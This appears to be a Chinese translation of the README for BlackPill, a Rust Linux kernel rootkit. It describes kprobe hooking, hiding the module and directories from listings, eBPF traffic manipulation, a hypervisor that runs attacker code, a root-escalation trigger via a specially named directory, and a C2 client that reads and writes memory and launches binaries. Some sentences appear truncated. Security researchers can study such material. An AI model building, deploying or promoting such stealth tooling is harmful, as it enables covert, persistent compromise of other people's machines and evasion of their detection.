一个使用自定义类型2虚拟机监控器、eBPF XDP和TC程序的Rust编写的Linux内核rootkit。
BlackPill 是一个用 Rust 编写的隐秘 Linux 内核工具包。
该内核工具包由多个模块组成(这里指的是 Rust 模块,而非内核模块):
架构如下所示:

以下是恶意代码从 C2 执行到虚拟机客户机的过程:

C2 将精心构造的 x86_64 汇编指令发送到内核工具包,内核工具包再将其发送到虚拟机客户机执行。虚拟机客户机与宿主机隔离,可用于执行恶意代码。
内核无法看到传入的恶意数据包,因为它们被 eBPF XDP 程序过滤并发送到 LKM 模块;传出数据包则由 eBPF TC 程序修改。
[!重要]
该项目仍在开发中。 并非所有功能都能正常工作!
欢迎提交问题或拉取请求。
钩子是内核工具包的核心功能,通过 Linux 内核中的 kprobes 实现。该技术拦截并重定向系统函数的执行,以监视或修改其行为。在此内核工具包中,kprobes 提供了一种强大的机制,无需直接修改源代码即可与内核函数交互。
为确保隐秘性,内核工具包采用了两种主要的反检测机制:
从内核模块列表中移除模块
当内核模块被加载时,它会添加到内核的模块列表中,可通过 lsmod 或 /proc/modules 等工具查看。为避免检测:
挂钩 filldir64 函数以隐藏特定目录
为隐藏内核工具包使用的文件,对 filldir64 函数实现了钩子。该函数在进程读取目录内容(例如通过 getdents 或 readdir 系统调用)时被调用。
kprobes 拦截 filldir64 函数。/BLACKPILL-BLACKPILL 目录(用于存储关键的内核工具包文件),则将其过滤掉,不返回给用户。使用 eBPF XDP 和 TC 程序修改入站和出站网络流量
为使恶意网络通信正常化,我们使用 eBPF XDP(快速数据路径)和 TC(流量控制)程序。因此,我们可以:
我们的简易虚拟机监控器按照以下步骤实现:
初始系统配置
进入 VMX 或 SVM 模式
管理宿主机与客户机之间的切换
创建客户机系统
通信
持久化是任何内核工具包的关键能力,使其即使在重启后也能保持对目标系统的控制。
在当前实现中,持久化机制通过使用 /bin/touch 命令在文件系统中创建一个测试文件来演示其功能。这个占位操作展示了内核工具包执行特权操作的能力,并且可以扩展以实现更高级的持久化策略。
目前该功能已无用,因为我们的重点不是创建一个 APT 级别的内核工具包,而是更多研究不太常见的概念。
在编译我们的内核工具包之前,需要完成多个步骤。开发环境包括:
首先,克隆仓库及其浅层子模块:
git clone [email protected]:DualHorizon/blackpill.git --recursive --depth 1
在基于 Arch 的发行版上:
sudo pacman -S qemu-base qemu-desktop docker grub
在基于 Arch 的 Linux 发行版上,安装 Rust 和其他依赖:
sudo pacman -S rust rust-src rust-bindgen
sudo pacman -S clang lld llvm
然后我们需要 Rust 源码和 bindgen:
rustup component add rust-src clippy rustfmt
cargo install --locked bindgen-cli
确保可以通过在 linux/ 文件夹中运行以下命令来开始编译带 Rust 的内核:
$ cd blackpill
$ pushd linux
$ make LLVM=1 rustavailable
Rust is available!
$ popd
运行首次设置任务,该任务配置并编译内核:
make first-time-setup
[!重要]
如果要求自定义选项,请每次都按 Enter 键。
您可以使用以下命令编译 Rust 内核模块(树外):
make
使用以下命令启动虚拟机:
make vm
在虚拟机内部,您会自动以 root 身份登录。您可以启用模块:
$ modprobe blackpill
# 您可以通过以下命令检查内核日志
$ dmesg
启动虚拟机后,您可以使用以下命令提升权限:
mkdir ImFeelingRootNow_<PID>
将 <PID> 替换为您要提升权限的进程的进程 ID。
这个简单的 C2 通过 UDP 向受感染机器发送 x86-64 操作码,并接收 TCP 数据包。其功能目前仅限于与机器进行低级交互,但通过更多包装器可能实现大量实际用途。
设置 Python 客户端:
cd blackpill-c2
poetry install
poetry shell
python client.py
使用参数([ip] [port])启动客户端后,您应该会看到:
$ python client.py 0.0.0.0 1339
Connected to rootkit!
然后您可以使用 help 命令显示可用命令:
blackpill: help
可用命令
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ 命令 ┃ 描述 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ read_virt_memory <address> │ 读取 'address' 处的 4 字节(32 位)内存 │
│ write_virt_memory <address> <value> │ 写入 4 字节(32 位)内存到 'address' │
│ launch_userland_binary <path> │ 启动 'path' 处的用户空间二进制文件 │
│ change_msr <msr> <value> │ 更改模型特定寄存器(MSR)的值 │
│ read_phys_memory <address> <value> │ 读取 'address' 处的 4 字节(32 位)物理内存 │
│ write_phys_memory <address> <value> │ 写入 4 字节(32 位)物理内存到 'address' │
│ stop_execution │ 停止虚拟机客户机的执行 │
│ change_vmcs_field <field> <value> │ 将 VMCS 字段更改为 'value' │
│ help │ 显示此帮助消息 │
└─────────────────────────────────────┴─────────────────────────────────────────────────────────┘
环境设置: